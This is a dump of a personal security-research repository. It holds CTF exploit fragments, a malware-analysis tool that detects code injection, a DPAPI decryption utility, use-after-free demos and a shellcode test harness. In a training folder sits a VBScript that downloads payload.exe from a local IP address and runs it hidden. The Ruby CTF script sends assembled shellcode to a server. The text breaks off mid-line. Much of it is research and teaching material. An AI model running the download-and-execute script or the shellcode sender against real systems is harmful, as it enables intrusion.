TCPSocket.new(host, port) 93 | sock.recv(10000) # banner 94 | sock.send(scode, 0) 95 | 96 | data = '' 97 | until (s = sock.recv(1000)).empty? 98 | $stderr.print "." 99 | data << s 100 | end 101 | 102 | return data 103 | end 104 | 105 | if __FILE__ == $0 106 | scode = Metasm::Shellcode.assemble(Metasm::Ia32.new, get_search_code()).encode_string() 107 | data = tickle_server(scode) 108 | Hexdump.dump(data) 109 | end 110 | -------------------------------------------------------------------------------- /CTF/pCTF2014/tenement/notes.txt: -------------------------------------------------------------------------------- 1 | * Read key from json 2 | * Read array of "addrs" from json 3 | * Attempt mmap'ing memory at each addr from array till success 4 | * Copy "pppp: key" to mmap'd memory 5 | * init seccomp sandbox 6 | * read exec shellcode 7 | 8 | .text:08048B7C call _json_load_file 9 | break *0x08048B7C 10 | 11 | .text:08048CD8 call _mmap 12 | break *0x08048CD8 13 | 14 | 15 | int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, 16 | int syscall, unsigned int arg_cnt, ...); 17 | 18 | 19 | seccomp allowed sys calls: 20 | 3, 4, 6, 0x21, 0x14a, 0x6c, 0xfc 21 | 33, 330, 108, 252 22 | 23 | http://publicclu2.blogspot.in/2013/05/32-bit-linux-system-call-signal-errno.html 24 | 25 | sys_read 26 | sys_write 27 | sys_close 28 | sys_access 29 | sys_dup3 30 | sys_fstat 31 | sys_exit_group 32 | 33 | 34 | .text:08048CC7 push esi 35 | .text:08048CC8 push esi 36 | .text:08048CC9 push 0 ; offset 37 | .text:08048CCB push 0FFFFFFFFh ; fd 38 | .text:08048CCD push 22h ; flags 39 | .text:08048CCF push 3 ; prot 40 | .text:08048CD1 push [ebp+len] ; len 41 | .text:08048CD7 push eax ; addr 42 | .text:08048CD8 call _mmap 43 | M 44 | M 45 | 46 | 47 | -------------------------------------------------------------------------------- /CTF/pCTF2014/tenement/tenement: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abhisek/RandomCode/785c37751e2506b034472ac6affe2fdaf533dcca/CTF/pCTF2014/tenement/tenement -------------------------------------------------------------------------------- /Malware/HiDump/README.md: -------------------------------------------------------------------------------- 1 | HiDump: Injected Code Extraction Tool 2 | ====================================== 3 | 4 | ## Usage 5 | 6 |
 7 | Usage: HiDump.rb [options]
 8 |     -t, --target [TARGET]            Target executable to run
 9 |     -v, --verbose                    Enable verbose messages
10 |     -d, --working-directory [DIR]    Working directory for Monitor (default: curr dir)
11 |     -x, --no-remote-thread           Do not allow CreateRemoteThread(..)
12 |         --syelogd                    Start Syelogd for Monitor debugging
13 |     -h
14 | 
15 | 16 | ## Example Run 17 | 18 |
19 | HiDump>ruby HiDump.rb -t omg.exe -d C:\tmp
20 | [+] Starting Target with CREATE_SUSPENDED flag (omg.exe)
21 | [+] Process created with pid: 2016
22 | [+] Injecting monitor dll
23 | [+] Preparing monitor dll with config
24 | [+] Waiting
25 | [+] Resuming execution of target
26 | [+] Waiting for target to finish execution
27 | [+] Finished
28 | 
29 | 30 | ### Monitor Logs 31 | 32 |
33 | SYELOGD: Ready for clients.  Press Ctrl-C to stop.
34 | 20130613063225528 2548 50.50: HiMonitor: Config loaded successfully
35 | 20130613063225528 2548 50.50: HiMonitor: Config: CreateRemoteThread: Allowed
36 | 20130613063225528 2548 50.50: HiMonitor: Config: WorkingDir: C:\tmp
37 | 20130613063225529 2548 50.50: HiMonitor: Hooks Initialized
38 | 20130613063225529 2548 50.50: HiMonitor: Detour Attached To: 2548
39 | 20130613063228325 2548 50.50: HiMonitor: HookHandler: OpenProcess(pid=0)
40 | 20130613063228325 2548 50.50: HiMonitor: HookHandler: OpenProcess(pid=4)
41 | 20130613063228329 2548 50.50: HiMonitor: HookHandler: OpenProcess(pid=260)
42 | [...]
43 | 20130613063228329 2548 50.50: HiMonitor: HookHandler: VirtualAllocEx(HANDLE=0x000000d0 dwSize=222)
44 | 20130613063228329 2548 50.50: HiMonitor: Store: New allocation created at 0x02060000 (pCtx=0x0061bef8 mCtx=0x00620b68)
45 | 20130613063228329 2548 50.50: HiMonitor: HookHandler: WriteProcessMemory(HANDLE=0x000000d0 Target=0x02060000 Source=0x0040a000 Size=221
46 | 20130613063228329 2548 50.50: HiMonitor: Store: Storing 221 bytes at 0x0061ed58
47 | 20130613063228329 2548 50.50: HiMonitor: HookHandler: CreateRemoteThread(HANDLE=0x000000d0 ThreadProc=0x02060000
48 | 20130613063228329 2548 50.50: HiMonitor: ** Attempted execution of injected code. Target: C:\Windows\Explorer.EXE ThreadId: 3828 StartAddr: 0x02060000
49 | 20130613063228330 2548 50.50: HiMonitor: Dumper: Dumping to file: C:\tmp\CRT_000000d0_02060000_0.mem
50 | [...]
51 | 20130613063652622 1268 50.50: HiMonitor: Detour closing
52 | 20130613063652626 ---- --.60: Client closed pipe.
53 | 
54 | -------------------------------------------------------------------------------- /Malware/HiDump/bin/monitor.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abhisek/RandomCode/785c37751e2506b034472ac6affe2fdaf533dcca/Malware/HiDump/bin/monitor.dll -------------------------------------------------------------------------------- /Malware/HiDump/bin/syelogd.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abhisek/RandomCode/785c37751e2506b034472ac6affe2fdaf533dcca/Malware/HiDump/bin/syelogd.exe -------------------------------------------------------------------------------- /Malware/HiDump/src/HiDMonitor/HiDMonitor.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual C++ Express 2008 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HiDMonitor", "HiDMonitor\HiDMonitor.vcproj", "{E09C1304-25C1-48B5-A4AC-5D76A2CF602F}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {E09C1304-25C1-48B5-A4AC-5D76A2CF602F}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {E09C1304-25C1-48B5-A4AC-5D76A2CF602F}.Debug|Win32.Build.0 = Debug|Win32 14 | {E09C1304-25C1-48B5-A4AC-5D76A2CF602F}.Release|Win32.ActiveCfg = Release|Win32 15 | {E09C1304-25C1-48B5-A4AC-5D76A2CF602F}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Malware/HiDump/src/HiDMonitor/HiDMonitor/Config.cpp: -------------------------------------------------------------------------------- 1 | #include "Config.h" 2 | #include 3 | 4 | static 5 | HI_CONFIG gblMonitorConfig; 6 | 7 | HI_CONFIG *ConfigGet() 8 | { 9 | return (&gblMonitorConfig); 10 | } 11 | 12 | BOOL ConfigLoad(HINSTANCE hModuleInstance) 13 | { 14 | PIMAGE_DOS_HEADER pDosHeader; 15 | PIMAGE_NT_HEADERS pNtHeaders; 16 | PIMAGE_SECTION_HEADER pSectionHeader; 17 | DWORD dwImageBase, i; 18 | BOOL bRet = FALSE; 19 | 20 | dwImageBase = (DWORD) hModuleInstance; 21 | pDosHeader = (PIMAGE_DOS_HEADER) dwImageBase; 22 | 23 | if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) 24 | return bRet; 25 | 26 | pNtHeaders = (PIMAGE_NT_HEADERS)(dwImageBase + pDosHeader->e_lfanew); 27 | if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE) 28 | return bRet; 29 | 30 | for(i = 0, pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); 31 | i < pNtHeaders->FileHeader.NumberOfSections; i++) { 32 | 33 | if((!strcmp((char*) pSectionHeader[i].Name, MONITOR_CONFIG_SECTION)) && 34 | (pSectionHeader[i].SizeOfRawData >= sizeof(HI_CONFIG))) { 35 | 36 | CopyMemory(&gblMonitorConfig, (PVOID) (dwImageBase + pSectionHeader[i].VirtualAddress), 37 | sizeof(HI_CONFIG)); 38 | 39 | bRet = TRUE; 40 | break; 41 | } 42 | } 43 | 44 | if(bRet) { 45 | Syelog(SYELOG_SEVERITY_NOTICE, "Config loaded successfully"); 46 | Syelog(SYELOG_SEVERITY_NOTICE, "Config: CreateRemoteThread: %s", gblMonitorConfig.uAllowRemoteThread ? "Allowed" : "Disallowed"); 47 | Syelog(SYELOG_SEVERITY_NOTICE, "Config: WorkingDir: %s", gblMonitorConfig.szWorkingDir); 48 | } 49 | 50 | return bRet; 51 | } 52 | 53 | VOID ConfigInit() 54 | { 55 | ZeroMemory(&gblMonitorConfig, sizeof(HI_CONFIG)); 56 | } -------------------------------------------------------------------------------- /Malware/HiDump/src/HiDMonitor/HiDMonitor/Config.h: -------------------------------------------------------------------------------- 1 | #ifndef _CONFIG_H 2 | #define _CONFIG_H 3 | 4 | #define WIN32_LEAN_AND_MEAN 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define MY_MAX_PATH 260 11 | 12 | #pragma pack(push) 13 | #pragma pack(1) 14 | typedef struct _tagHiConfig 15 | { 16 | CHAR szWorkingDir[MY_MAX_PATH]; 17 | UINT8 uAllowRemoteThread; 18 | 19 | } HI_CONFIG; 20 | #pragma pack(pop) 21 | 22 | VOID ConfigInit(); 23 | BOOL ConfigLoad(HINSTANCE hModuleInstance); 24 | HI_CONFIG *ConfigGet(); 25 | 26 | #define MONITOR_CONFIG_SECTION ".config" 27 | #define MONITOR_CONFIG (ConfigGet()) 28 | 29 | 30 | #endif -------------------------------------------------------------------------------- /Malware/HiDump/src/HiDMonitor/HiDMonitor/DetourFunctions.h: -------------------------------------------------------------------------------- 1 | #ifndef _SYELOG_DEF_H 2 | #define _SYELOG_DEF_H 3 | 4 | #include 5 | 6 | // Required for SYELOG 7 | extern "C" { 8 | HANDLE (WINAPI * Real_CreateFileW)(LPCWSTR a0, 9 | DWORD a1, 10 | DWORD a2, 11 | LPSECURITY_ATTRIBUTES a3, 12 | DWORD a4, 13 | DWORD a5, 14 | HANDLE a6) 15 | = CreateFileW; 16 | 17 | BOOL (WINAPI * Real_WriteFile)(HANDLE hFile, 18 | LPCVOID lpBuffer, 19 | DWORD nNumberOfBytesToWrite, 20 | LPDWORD lpNumberOfBytesWritten, 21 | LPOVERLAPPED lpOverlapped) 22 | = WriteFile; 23 | 24 | BOOL (WINAPI * Real_FlushFileBuffers)(HANDLE hFile) 25 | = FlushFileBuffers; 26 | 27 | BOOL (WINAPI * Real_CloseHandle)(HANDLE hObject) 28 | = CloseHandle; 29 | 30 | BOOL (WINAPI * Real_WaitNamedPipeW)(LPCWSTR lpNamedPipeName, DWORD nTimeOut) 31 | = WaitNamedPipeW; 32 | 33 | BOOL (WINAPI * Real_SetNamedPipeHandleState)(HANDLE hNamedPipe, 34 | LPDWORD lpMode, 35 | LPDWORD lpMaxCollectionCount, 36 | LPDWORD lpCollectDataTimeout) 37 | = SetNamedPipeHandleState; 38 | 39 | DWORD (WINAPI * Real_GetCurrentProcessId)(VOID) 40 | = GetCurrentProcessId; 41 | 42 | VOID (WINAPI * Real_GetSystemTimeAsFileTime)(LPFILETIME lpSystemTimeAsFileTime) 43 | = GetSystemTimeAsFileTime; 44 | 45 | VOID (WINAPI * Real_InitializeCriticalSection)(LPCRITICAL_SECTION lpSection) 46 | = InitializeCriticalSection; 47 | 48 | VOID (WINAPI * Real_EnterCriticalSection)(LPCRITICAL_SECTION lpSection) 49 | = EnterCriticalSection; 50 | 51 | VOID (WINAPI * Real_LeaveCriticalSection)(LPCRITICAL_SECTION lpSection) 52 | = LeaveCriticalSection; 53 | } 54 | 55 | #endif -------------------------------------------------------------------------------- /Malware/HiDump/src/HiDMonitor/HiDMonitor/Dumper.cpp: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | #include 3 | #include 4 | #include 5 | 6 | #include "Config.h" 7 | #include "Store.h" 8 | 9 | static 10 | DWORD gblDumperCounter = 0; 11 | 12 | VOID DumperDumpMemory(HANDLE hProcess, LPVOID lpTargetAddr, CHAR *pTag) 13 | { 14 | HI_PROCESS_CONTEXT *pCtx; 15 | HI_MEMORY_CONTEXT *mCtx; 16 | CHAR szFilePath[MAX_PATH + 1]; 17 | HANDLE hFile; 18 | DWORD dw; 19 | 20 | pCtx = StoreGetProcessContext(hProcess); 21 | if(!pCtx) { 22 | Syelog(SYELOG_SEVERITY_NOTICE, "Dumper: Failed to find process context for HANDLE: 0x%08x", hProcess); 23 | return; 24 | } 25 | 26 | mCtx = StoreFindMemoryContext(pCtx, lpTargetAddr); 27 | if(!mCtx) { 28 | Syelog(SYELOG_SEVERITY_NOTICE, "Dumper: Failed to find memory context for ADDR: 0x%08x", (DWORD) lpTargetAddr); 29 | return; 30 | } 31 | 32 | _snprintf(szFilePath, MAX_PATH, "%s\\%s_%08x_%08x_%d.mem", 33 | MONITOR_CONFIG->szWorkingDir, pTag, pCtx->hProcess, (DWORD) lpTargetAddr, gblDumperCounter++); 34 | 35 | Syelog(SYELOG_SEVERITY_NOTICE, "Dumper: Dumping to file: %s", szFilePath); 36 | 37 | hFile = CreateFileA(szFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); 38 | if(hFile == INVALID_HANDLE_VALUE) { 39 | Syelog(SYELOG_SEVERITY_NOTICE, "Dumper: Failed to open file. (GLE: %d)", GetLastError()); 40 | return; 41 | } 42 | 43 | WriteFile(hFile, mCtx->lpStore, mCtx->dwSize, &dw, NULL); 44 | CloseHandle(hFile); 45 | } -------------------------------------------------------------------------------- /Malware/HiDump/src/HiDMonitor/HiDMonitor/Dumper.h: -------------------------------------------------------------------------------- 1 | #ifndef _DUMPER_H 2 | #define _DUMPER_H 3 | 4 | VOID DumperDumpMemory(HANDLE hProcess, LPVOID lpTargetAddr, CHAR *pTag); 5 | 6 | #endif -------------------------------------------------------------------------------- /Malware/HiDump/src/HiDMonitor/HiDMonitor/HookHandlers.h: -------------------------------------------------------------------------------- 1 | #ifndef _HOOK_HANDLERS_H 2 | #define _HOOK_HANDLERS_H 3 | 4 | VOID HookInit(); 5 | VOID HookExit(); 6 | 7 | #endif -------------------------------------------------------------------------------- /Malware/HiDump/src/HiDMonitor/HiDMonitor/Main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "HookHandlers.h" 6 | #include "Config.h" 7 | 8 | #pragma comment(lib, "detours") 9 | #pragma comment(lib, "syelog") 10 | 11 | static 12 | BOOL ProcessAttach(HMODULE hDll) 13 | { 14 | SyelogOpen("HiMonitor", SYELOG_FACILITY_APPLICATION); 15 | 16 | ConfigInit(); 17 | ConfigLoad((HINSTANCE) hDll); 18 | 19 | HookInit(); 20 | 21 | Syelog(SYELOG_SEVERITY_NOTICE, "Detour Attached To: %d", GetCurrentProcessId()); 22 | 23 | return TRUE; 24 | } 25 | 26 | static 27 | BOOL ProcessDetach(HMODULE hDll) 28 | { 29 | HookExit(); 30 | 31 | Syelog(SYELOG_SEVERITY_NOTICE, "Detour closing"); 32 | SyelogClose(FALSE); 33 | 34 | return TRUE; 35 | } 36 | 37 | extern "C" { 38 | __declspec(dllexport) VOID __cdecl Init() 39 | { 40 | // Init Tasks 41 | // Called by Loader Shellcode (Injector) 42 | } 43 | } 44 | 45 | BOOL APIENTRY DllMain(HINSTANCE hModule, DWORD dwReason, PVOID lpReserved) 46 | { 47 | if(DetourIsHelperProcess()) 48 | return TRUE; 49 | 50 | switch(dwReason) { 51 | 52 | case DLL_PROCESS_ATTACH: 53 | DetourRestoreAfterWith(); 54 | return ProcessAttach(hModule); 55 | 56 | case DLL_PROCESS_DETACH: 57 | return ProcessDetach(hModule); 58 | 59 | case DLL_THREAD_ATTACH: 60 | break; 61 | case DLL_THREAD_DETACH: 62 | break; 63 | 64 | } 65 | 66 | return TRUE; 67 | } -------------------------------------------------------------------------------- /Malware/HiDump/src/HiDMonitor/HiDMonitor/Store.h: -------------------------------------------------------------------------------- 1 | #ifndef _STORE_H 2 | #define _STORE_H 3 | 4 | #include 5 | 6 | #define HI_MEM_STATE_ALLOCATED (0x01) 7 | #define HI_MEM_STATE_FREED (0x01 << 1) 8 | 9 | typedef struct _tagHiMemoryContext 10 | { 11 | DWORD dwBaseAddress; // VirtualAllocEx()'d addr 12 | SIZE_T dwSize; 13 | DWORD flAllocationType; 14 | DWORD flProtect; 15 | 16 | PVOID lpStore; // Store for data written using WPM 17 | BYTE bFlags; 18 | 19 | struct _tagHiMemoryContext *pNext; 20 | struct _tagHiMemoryContext *pPrev; 21 | 22 | } HI_MEMORY_CONTEXT; 23 | 24 | typedef struct _tagHiProcessContext 25 | { 26 | HANDLE hProcess; 27 | HI_MEMORY_CONTEXT *MemoryAllocationList; 28 | 29 | struct _tagHiProcessContext *pNext; 30 | struct _tagHiProcessContext *pPrev; 31 | } HI_PROCESS_CONTEXT; 32 | 33 | VOID StoreInit(); 34 | BOOL StoreHandleAllocation(HANDLE hProcess, LPVOID lpAddr, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 35 | BOOL StoreHandleMemoryWrite(HANDLE hProcess, LPVOID lpTargetAddr, LPVOID lpBuffer, DWORD dwSize); 36 | BOOL StoreIsMemoryWritten(HANDLE hProcess, LPVOID lpAddr); 37 | VOID StoreExit(); 38 | 39 | HI_PROCESS_CONTEXT *StoreGetProcessContext(HANDLE hProcess); 40 | HI_MEMORY_CONTEXT *StoreFindMemoryContext(HI_PROCESS_CONTEXT *pProcess, LPVOID lpAddr); 41 | 42 | 43 | #endif -------------------------------------------------------------------------------- /Malware/HiDump/src/HiLoader/HiLoader.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual C++ Express 2008 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HiLoader", "HiLoader\HiLoader.vcproj", "{D3B24A06-5447-4329-B6B7-4BD03E0EB7BF}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {D3B24A06-5447-4329-B6B7-4BD03E0EB7BF}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {D3B24A06-5447-4329-B6B7-4BD03E0EB7BF}.Debug|Win32.Build.0 = Debug|Win32 14 | {D3B24A06-5447-4329-B6B7-4BD03E0EB7BF}.Release|Win32.ActiveCfg = Release|Win32 15 | {D3B24A06-5447-4329-B6B7-4BD03E0EB7BF}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Malware/HiDump/src/HiLoader/HiLoader/HiLoader.cpp: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | #include 3 | #include 4 | #include 5 | 6 | int RunDetoured(int argc, char **argv) 7 | { 8 | CHAR *pMonitorPath = argv[1]; 9 | CHAR *pTargetPath = argv[2]; 10 | CHAR **ppArgs = &argv[3]; 11 | 12 | STARTUPINFOA si; 13 | PROCESS_INFORMATION pi; 14 | BOOL bRet; 15 | 16 | static CHAR szCmdLine[4096]; 17 | 18 | _snprintf(szCmdLine, sizeof(szCmdLine) - 1, "\"%s\"", pTargetPath); 19 | 20 | for(int i = 3; i < 3; i++) { 21 | strcat(szCmdLine, " "); 22 | strcat(szCmdLine, ppArgs[i]); 23 | } 24 | 25 | ZeroMemory((void*) &si, sizeof(si)); 26 | ZeroMemory((void*) &pi, sizeof(pi)); 27 | 28 | si.cb = sizeof(si); 29 | 30 | printf("[+] Monitor Path: %s\n", pMonitorPath); 31 | printf("[+] Command Line: %s\n", szCmdLine); 32 | 33 | bRet = DetourCreateProcessWithDllA(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi, pMonitorPath, NULL); 34 | if(!bRet) 35 | printf("[-] Error: %d\n", GetLastError()); 36 | else 37 | printf("[+] Success"); 38 | 39 | return (bRet ? 0 : 1); 40 | } 41 | 42 | int Usage() 43 | { 44 | printf("Usage: \n"); 45 | printf("\tHiLoader.exe [Monitor-DLL-Path] [Targt-Exe] [Command-Line-Args]\n"); 46 | 47 | return 1; 48 | } 49 | 50 | int main(int argc, char **argv) 51 | { 52 | if(argc < 3) 53 | return Usage(); 54 | 55 | return RunDetoured(argc, argv); 56 | } -------------------------------------------------------------------------------- /Malware/HiDump/src/Test/DllInject.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abhisek/RandomCode/785c37751e2506b034472ac6affe2fdaf533dcca/Malware/HiDump/src/Test/DllInject.exe -------------------------------------------------------------------------------- /Malware/Process/README.md: -------------------------------------------------------------------------------- 1 | Malware Analysis Tools 2 | ====================== 3 | 4 | # ProcScan.rb 5 | 6 | Scan Process Memory for Code injection. Current version is for x86 only and does not support x86_64. 7 | 8 | ## Requirement 9 | 10 | * Ruby 1.9.x 11 | * ProcScan.rb 12 | * data/dbghelp.dll 13 | * Metasm should be kept in C:\Lib\metasm (or fix include path in ProcScan.rb) -------------------------------------------------------------------------------- /Malware/Process/data/dbghelp.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abhisek/RandomCode/785c37751e2506b034472ac6affe2fdaf533dcca/Malware/Process/data/dbghelp.dll -------------------------------------------------------------------------------- /Misc/CryptUnprotect/Makefile: -------------------------------------------------------------------------------- 1 | !include 2 | 3 | all: unprotect.exe 4 | 5 | .c.obj: 6 | $(cc) $(cdebug) $(cflags) $(cvars) $*.c 7 | 8 | unprotect.exe: unprotect.obj 9 | $(link) $(conflags) -out:unprotect.exe unprotect.obj $(conlibs) 10 | 11 | clean: 12 | del *.obj *.lib *.exp *.pdb -------------------------------------------------------------------------------- /Misc/CryptUnprotect/unprotect.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #pragma comment(lib, "crypt32") 7 | 8 | int main(int argc, char **argv) 9 | { 10 | DATA_BLOB dataIn; 11 | DATA_BLOB dataOut; 12 | FILE *fp; 13 | DWORD dwSize; 14 | 15 | if(argc != 3) { 16 | printf("Usage: \n"); 17 | printf("%s [in] [out]\n", argv[0]); 18 | return -1; 19 | } 20 | 21 | fp = fopen(argv[1], "rb"); 22 | if(fp == NULL) { 23 | printf("[-] Failed to open input file\n"); 24 | return -1; 25 | } 26 | 27 | fseek(fp, 0L, SEEK_END); 28 | dwSize = ftell(fp); 29 | fseek(fp, 0L, SEEK_SET); 30 | 31 | dataIn.cbData = dwSize; 32 | dataIn.pbData = (BYTE*) malloc(dwSize + 1); 33 | 34 | if(!dataIn.pbData) { 35 | printf("[-] Failed to allocate memory for encrypted data\n"); 36 | return -1; 37 | } 38 | 39 | fread((char*) dataIn.pbData, dwSize, 1, fp); 40 | fclose(fp); 41 | 42 | printf("[+] Encrypted data size: %d\n", dwSize); 43 | 44 | dataOut.cbData = 0; 45 | dataOut.pbData = NULL; 46 | 47 | if(CryptUnprotectData(&dataIn, NULL, NULL, NULL, NULL, 0, &dataOut)) { 48 | printf("[+] Decrypted data size: %d\n", dataOut.cbData); 49 | } 50 | else { 51 | printf("[-] Failed to decrypt data\n"); 52 | return -1; 53 | } 54 | 55 | fp = fopen(argv[2], "wb"); 56 | if(fp == NULL) { 57 | printf("[-] Failed to open output file\n"); 58 | return -1; 59 | } 60 | 61 | printf("[+] Writing decrypted data to output file: %s\n", argv[2]); 62 | fwrite((void*) dataOut.pbData, dataOut.cbData, 1, fp); 63 | fclose(fp); 64 | 65 | return 0; 66 | } -------------------------------------------------------------------------------- /Misc/ie_memprotector_nullblr/cpp/Makefile: -------------------------------------------------------------------------------- 1 | CC = g++ 2 | CFLAGS = -O0 -m32 -ggdb 3 | all: bug sample 4 | bug: 5 | g++ $(CFLAGS) -o bug bug.cpp 6 | sample: 7 | g++ $(CFLAGS) -o sample sample.cpp 8 | 9 | .PHONY: clean 10 | clean: 11 | -rm bug sample 12 | -rm -rf *.dSYM 13 | -------------------------------------------------------------------------------- /Misc/ie_memprotector_nullblr/cpp/bug.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | using namespace std; 6 | 7 | class Bling { 8 | public: 9 | virtual void hello(); 10 | }; 11 | 12 | void Bling::hello() 13 | { 14 | cout << "Hello World" << endl; 15 | } 16 | 17 | void fill(size_t s) 18 | { 19 | void *p = (void*) malloc(s); 20 | if(p) memset(p, 0x41, s); 21 | } 22 | 23 | int main(int argc, char **argv) 24 | { 25 | Bling *b1 = new Bling(); 26 | Bling *b2 = b1; 27 | 28 | b1->hello(); 29 | delete b1; 30 | fill(16); fill(16); 31 | 32 | b2->hello(); 33 | } 34 | -------------------------------------------------------------------------------- /Misc/ie_memprotector_nullblr/cpp/sample.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | using namespace std; 6 | 7 | class Bling { 8 | public: 9 | virtual void hello(); 10 | }; 11 | 12 | void Bling::hello() 13 | { 14 | cout << "Hello World" << endl; 15 | } 16 | 17 | int main(int argc, char **argv) 18 | { 19 | Bling *b1 = new Bling(); 20 | Bling *b2 = b1; 21 | 22 | b1->hello(); 23 | delete b1; 24 | 25 | b2->hello(); 26 | } 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /Misc/ie_memprotector_nullblr/ie/ms13_080.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /Misc/ie_memprotector_nullblr/ie/ms13_080_exp.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 75 | 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /Misc/libcrash/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-ggdb 3 | LDFLAGS=-ggdb -shared 4 | 5 | all: crash.o 6 | -gcc -o crash.so ${LDFLAGS} crash.o 7 | 8 | .PHONY: clean 9 | clean: 10 | -rm crash.o 11 | -rm crash.so 12 | 13 | 14 | -------------------------------------------------------------------------------- /Misc/libcrash/crash.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void __attribute__ ((constructor)) crash_init(void); 4 | 5 | static 6 | void do_crash() 7 | { 8 | __asm( 9 | "movl $0x00, %eax\n" 10 | "jmp *%eax" 11 | ); 12 | } 13 | 14 | void crash_init() 15 | { 16 | atexit(&do_crash); 17 | } 18 | -------------------------------------------------------------------------------- /Misc/training/ms14_064/download_exec.vbs: -------------------------------------------------------------------------------- 1 | function runaaaa() 2 | On Error Resume Next 3 | 4 | ' http://www.codeproject.com/Tips/506439/Downloading-files-with-VBScript 5 | strURL = "http://192.168.1.8:8000/payload.exe" 6 | Set objShell = CreateObject("WScript.Shell") 7 | strSavePath = objShell.ExpandEnvironmentStrings("%Temp%") & "\" & "payload.exe" 8 | 9 | Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) 10 | objHTTP.Open "GET", strURL, False 11 | objHTTP.Send 12 | 13 | Set objFSO = CreateObject("Scripting.FileSystemObject") 14 | 15 | If objFSO.FileExists(strSavePath) Then 16 | objFSO.DeleteFile(strSavePath) 17 | End If 18 | 19 | If objHTTP.Status = 200 Then 20 | Dim objStream 21 | Set objStream = CreateObject("ADODB.Stream") 22 | With objStream 23 | .Type = 1 24 | .Open 25 | .Write objHTTP.ResponseBody 26 | .SaveToFile strSavePath 27 | .Close 28 | End With 29 | set objStream = Nothing 30 | 31 | objShell.Run strSavePath,0,True 32 | End If 33 | 34 | end function 35 | -------------------------------------------------------------------------------- /Misc/training/sc_alpha/sc_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | const char shellcode[] = { 6 | "\xcc\xcc\xcc" 7 | }; 8 | 9 | main() 10 | { 11 | void (*f)(); 12 | void *p = mmap(NULL, sizeof(shellcode) + 1, PROT_READ | PROT_WRITE | PROT_EXEC, 13 | MAP_ANON | MAP_PRIVATE, -1, 0); 14 | 15 | assert(p != NULL); 16 | f = (void*) shellcode; 17 | f(); 18 | } 19 | -------------------------------------------------------------------------------- /PinTools/ins_print/README.txt: -------------------------------------------------------------------------------- 1 | For 32bit cross compilation to work: 2 | sudo apt-get install gcc-4.8-multilib g++-4.8-multilib 3 | 4 | Default 64bit compile: 5 | 6 | PIN_ROOT=/home/user1/Tools/pin/pin-2.14-71313-gcc.4.4.7-linux make 7 | PIN_ROOT=/home/user1/Tools/pin/pin-2.14-71313-gcc.4.4.7-linux make obj-intel64/ins_print.so 8 | 9 | 32bit cross-compile: 10 | 11 | # Creates output dir 12 | PIN_ROOT=/home/user1/Tools/pin/pin-2.14-71313-gcc.4.4.7-linux TARGET=ia32 make 13 | 14 | # Perform compilation 15 | PIN_ROOT=/home/user1/Tools/pin/pin-2.14-71313-gcc.4.4.7-linux TARGET=ia32 make obj-ia32/ins_print.so 16 | 17 | 18 | # To run the tool 19 | ~/Tools/pin/pin-2.14-71313-gcc.4.4.7-linux/pin.sh -t obj-intel64/ins_print.so -- /bin/ls 20 | 21 | 22 | -------------------------------------------------------------------------------- /PinTools/ins_print/ins_print.cpp: -------------------------------------------------------------------------------- 1 | #include "pin.H" 2 | extern "C" { 3 | #include "xed-interface.h" 4 | } 5 | #include 6 | #include 7 | 8 | std::ofstream *output; 9 | KNOB KnobNoLibraryTrace(KNOB_MODE_WRITEONCE, "pintool", "no-lib", "0", 